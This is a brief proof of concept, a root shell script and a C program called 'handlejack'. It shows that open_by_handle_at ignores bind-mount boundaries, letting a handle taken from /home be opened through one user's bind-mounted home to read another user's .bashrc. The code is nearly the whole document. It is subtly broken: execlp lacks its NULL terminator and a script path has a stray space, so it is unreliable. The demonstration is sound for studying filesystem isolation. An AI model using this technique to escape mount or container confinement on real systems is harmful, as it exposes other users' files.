An example of why bind mounts are not considered separate filesystems by open_by_handle_at, and probably by NFS server

example.sh

#!/bin/sh

# assumes running as root

mkdir /tmp/wolfhome2
mount --bind /home/wolf480 /tmp/wolfhome2

./handlejack /home/ otheruser/.bashrc /tmp/wolfhome2/
# should print mountid and fd, then wait for keypress
# then spit out the otheruser's bashrc

handlejack.c

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
    if (argc <= 3) {
        fprintf(stderr, "%s <dir1> <path> <dir2>\n", argv[0]);
        return 2;
    } 

    int dir1 = open(argv[1], O_RDONLY);
    if (dir1 < 0) {
        perror("open dir1");
        return 1;
    }
    
    int dir2 = open(argv[3], O_RDONLY);
    if (dir2 < 0) {
        perror("open dir2");
        return 1;
    }

    int res;
    char handleBytes[sizeof(struct file_handle) + MAX_HANDLE_SZ];
    struct file_handle *handle = (struct file_handle*) handleBytes;
    handle->handle_bytes = sizeof(handleBytes) - sizeof(struct file_handle);
    
    int mountid;
    res = name_to_handle_at(dir1, argv[2], handle, &mountid, 0);
    if (res < 0) {
        perror("name_to_handle_at");
        return 1;
    }
    
    printf("mount: %d\n", mountid);

    int fd = open_by_handle_at(dir2, handle, O_RDONLY);
    if (fd < 0) {
        perror("open_by_handle_at");
        return 1;
    }

    printf("fd: %d\n", fd);
    getchar();

    char arg[64];
    snprintf(arg, sizeof(arg), "/dev/fd/%d", fd);

    execlp("cat", "cat", arg);

    perror("execlp failed");
    return 1;
}